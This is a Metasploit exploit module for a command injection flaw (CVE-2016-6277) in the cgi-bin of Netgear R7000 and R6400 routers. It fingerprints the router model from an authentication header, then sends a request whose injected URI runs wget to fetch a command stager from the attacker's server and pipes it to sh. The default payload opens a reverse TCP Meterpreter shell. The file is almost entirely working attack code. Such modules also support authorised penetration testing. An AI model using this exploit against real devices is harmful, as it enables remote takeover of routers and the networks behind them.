##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'                 => "Netgear R7000 and R6400 cgi-bin Command Injection",
      'Description'          => %q{
        This module exploits an arbitrary command injection vulnerability in
        Netgear R7000 and R6400 router firmware version 1.0.7.2_1.1.93 and possibly earlier.
      },
      'License'              => MSF_LICENSE,
      'Platform'             => 'linux',
      'Author'               => ['thecarterb', 'Acew0rm'],
      'DefaultTarget'        => 0,
      'Privileged'           => true,
      'Arch'                 => ARCH_ARMLE,
      'Targets'              => [
        [ 'Automatic Target', { } ]
      ],
      'References'           =>
        [
          [ 'EDB', '40889'],
          [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305'],
          [ 'URL', 'https://www.kb.cert.org/vuls/id/582384'],
          [ 'URL', 'http://kb.netgear.com/000036386/CVE-2016-582384'],
          [ 'CVE', '2016-6277']
        ],
      'DisclosureDate' => 'Dec 06 2016',
      'DefaultOptions'  =>
        {
          'PAYLOAD' => 'linux/armle/mettle_reverse_tcp'
        }
    ))

    register_options(
      [
        Opt::RPORT(80)
      ], self.class)

    deregister_options('URIPATH')
  end

  def scrape(text, start_trig, end_trig)
    text[/#{start_trig}(.*?)#{end_trig}/m, 1]
  end

  # Requests the login page which discloses the hardware, if it's an R7000 or R6400, return Detected
  def check
    res = send_request_cgi({'uri'=>'/'})
    if res.nil?
      fail_with(Failure::Unreachable, 'Connection timed out.')
    end
     # Checks for the `WWW-Authenticate` header in the response
    if res.headers["WWW-Authenticate"]
      data = res.to_s
      marker_one = "Basic realm=\"NETGEAR "
      marker_two = "\""
      model = scrape(data, marker_one, marker_two)
      vprint_status("Router is a NETGEAR router (#{model})")
      if model == 'R7000' || model == 'R6400'
        print_good("Router may be vulnerable (NETGEAR #{model})")
        return CheckCode::Detected
      else
        return CheckCode::Safe
      end
    else
      print_error('Router is not a NETGEAR router')
      return CheckCode::Safe
    end
  end

  def exploit
    return if check == CheckCode::Safe

    @cmdstager = generate_cmdstager(flavor: :wget, 'Path' => '/').join(';')

    send_request_cgi(
      'method' => 'GET',
      'uri'    => "/cgi-bin/;wget$IFS-O-$IFS'#{srvhost_addr}:#{srvport}'|sh"
    )
  end

  # Return CmdStager on first request, payload on second
  def on_request_uri(cli, request)
    if @cmdstager
      send_response(cli, @cmdstager)
      @cmdstager = nil
    else
      super
    end
  end

end